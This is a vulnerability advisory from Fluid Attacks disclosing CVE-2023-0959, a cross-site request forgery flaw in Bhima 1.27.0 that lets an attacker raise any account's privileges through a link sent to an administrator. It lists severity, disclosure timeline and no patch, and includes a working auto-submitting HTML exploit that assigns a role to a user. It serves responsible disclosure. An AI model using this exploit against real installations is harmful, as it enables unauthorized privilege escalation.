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Advisories

Bhima 1.27.0 - Privilege Escalation via CSRF

High

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

Bhima 1.27.0 - Privilege Escalation via CSRF

Code name

Calamaro

State

Public

Release date

Apr 10, 2023

Affected product

Bhima

Affected version(s)

Version 1.27.0

Vulnerability name

Cross-site request forgery

Vulnerability type

007. Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVSS v3.1 base score

8.0

Exploit available

Yes

CVE ID(s)

CVE-2023-0959

Description

Bhima version 1.27.0 allows a remote attacker to update the privileges of any account registered in the application via a malicious link sent to an administrator. This is possible because the application is vulnerable to CSRF.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF. In this way we can persuade an administrator to elevate the privileges of an arbitrary account.

Exploitation

Exploit.html

<!DOCTYPE html>
<html>
 <body>
 <form action="http://localhost:8082/roles/assignTouser" method="POST">
 <input type="hidden" name="user_id" value="6" />
 <input type="hidden" name="role_uuids" value="5B7DD0D692734955A703126FBD504B61" />
 <input type="submit" value="Submit request" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0959 to refer to this issue from now on. Disclosure policy

System Information

Version: Bhima 1.27.0
Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Vendor page https://github.com/IMA-WorldHealth/bhima/

Timeline



Vulnerability discovered

Feb 22, 2023

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Vendor contacted

Feb 22, 2023

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Vendor replied

Feb 22, 2023

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Public disclosure

Apr 10, 2023

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